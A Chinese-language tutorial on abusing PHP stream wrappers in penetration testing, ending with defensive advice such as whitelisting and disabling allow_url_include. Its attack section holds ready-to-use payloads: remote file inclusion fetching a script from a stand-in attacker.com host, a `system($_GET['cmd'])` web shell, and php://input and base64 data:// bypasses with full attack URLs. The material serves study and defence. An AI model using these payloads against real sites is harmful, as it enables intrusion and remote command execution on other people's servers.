渗透测试中PHP Stream Wrappers的利用技巧
字数 1190 2025-08-18 11:37:53
PHP Stream Wrappers渗透测试利用技巧
1. PHP流(Streams)基础概念
流(Streams)是在PHP4.3引入的,是对流式数据的抽象,用于统一数据操作,包括文件数据、网络数据、压缩数据等。流表现为流式数据行为的资源对象。
1.1 流的基本操作过程
- 连接建立
- 数据读取
- 数据写入
- 连接结束
1.2 常用流操作函数
file_openfwritefclosefile_get_contentsfile_put_contents
2. 流包装器(Stream Wrappers)语法
流使用特定格式指定类型和目标:
<wrapper>://<target>
示例:
$handle = fopen("file://some.txt","rb");
默认包装器是file://,可以省略。
2.1 查看可用包装器
print_r(stream_get_wrappers());
3. 流上下文(Stream-Context)
用于自定义流行为,特别是在需要身份验证等场景。
示例:
$postdata = '{"username":"ziyahan"}';
$opts = array('http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json;charset=utf-8;\r\n'.
'Content-Length: '.mb_strlen($postdata),
'content' => $postdata
));
$context = stream_context_create($opts);
$response = file_get_contents('http://www.example.com/news.php', false, $context);
4. PHP流过滤器
可以在读写过程中即时修改、更改或删除数据。
4.1 内置过滤器
string.toupperstring.tolowerstring.rot13string.strip_tags
4.2 使用方式
// 方式1:stream_filter_append
$handle = fopen('file://data.txt','rb');
stream_filter_append($handle, 'string.toupper');
// 方式2:php://filter wrapper
$handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb');
5. 渗透测试中的利用技巧
5.1 远程文件包含(RFI)利用
基础漏洞代码:
include($_GET["go"].".php");
攻击方式:
- 托管恶意脚本:
http://www.attacker.com/malscript.txt - 通过URL调用:
www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt
绕过.php扩展名限制
使用查询字符串:
http://www.attacker.com/malscript.txt?q=
5.2 命令执行
恶意脚本内容:
<?php system($_GET["cmd"]); ?>
调用方式:
www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=
5.3 使用php://input包装器绕过http://过滤
请求示例:
POST http://www.example.com?go=php://input%00 HTTP/1.1
Host: example.com
Content-Length: 30
<?php system($_GET["cmd"]); ?>
5.4 使用data://包装器绕过黑名单
基本形式:
data://text/plain,<?php system($_GET["cmd"]); ?>
URL编码版本:
data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
5.5 使用base64编码绕过关键字过滤
PHP代码:
<?php system($_GET["cmd"]); ?>
Base64编码:
PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
攻击URL:
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
6. 防御建议
- 使用白名单而非黑名单:将允许的函数和输入列入白名单
- 禁用远程文件包含:在php.ini中设置
allow_url_include = Off - 严格控制用户输入:避免用户直接控制
require、include等函数的参数 - 及时更新:发现新的攻击媒介时及时更新防护措施
- 输入验证:对所有用户输入进行严格验证
7. 总结
PHP Stream Wrappers提供了强大的功能,但也可能被攻击者利用进行渗透测试。了解这些技术有助于更好地防御相关攻击。关键点包括:
- 多种包装器类型(file://, http://, php://, data://等)的利用方式
- 通过编码(base64, rot13)绕过过滤的技巧
- RFI到RCE的升级路径
- 各种绕过防护措施的方法
安全防护应从设计层面考虑,采用白名单机制,而非依赖不断更新的黑名单。